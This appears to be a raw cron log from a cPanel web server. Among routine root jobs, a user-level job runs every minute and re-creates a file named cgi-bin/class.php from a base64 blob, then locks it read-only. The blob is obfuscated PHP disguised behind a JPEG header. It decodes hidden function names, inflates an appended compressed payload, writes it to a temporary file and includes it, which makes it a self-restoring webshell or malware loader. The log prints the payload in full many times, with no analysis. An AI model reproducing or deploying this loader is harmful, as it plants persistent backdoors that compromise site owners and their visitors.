Sep 12 04:41:01 server CROND[9189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:42:01 server CROND[9655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:42:01 server CROND[9657]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:42:01 server CROND[9656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:42:01 server CROND[9658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:43:01 server CROND[10023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:43:01 server CROND[10026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:43:01 server CROND[10027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:44:01 server CROND[10462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:44:01 server CROND[10461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:44:01 server CROND[10464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:45:01 server CROND[10842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:45:01 server CROND[10843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:45:01 server CROND[10844]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:45:01 server CROND[10858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:45:01 server CROND[10859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:45:01 server CROND[10860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:45:01 server CROND[10857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:46:01 server CROND[11667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:46:01 server CROND[11668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:46:01 server CROND[11669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:47:01 server CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:47:01 server CROND[12142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:47:01 server CROND[12143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:48:01 server CROND[12546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:48:01 server CROND[12547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:48:01 server CROND[12548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:49:02 server CROND[12941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:49:02 server CROND[12942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:49:02 server CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:50:01 server CROND[13324]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:50:01 server CROND[13325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:50:01 server CROND[13329]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:50:01 server CROND[13333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:50:01 server CROND[13330]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:50:01 server CROND[13331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:50:01 server CROND[13332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:50:01 server CROND[13334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:50:01 server CROND[13335]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:51:01 server CROND[14183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:51:01 server CROND[14184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:51:01 server CROND[14185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:52:01 server CROND[14661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:52:01 server CROND[14662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:52:01 server CROND[14660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:53:01 server CROND[15032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:53:01 server CROND[15033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:53:01 server CROND[15034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:54:01 server CROND[15405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:54:01 server CROND[15406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
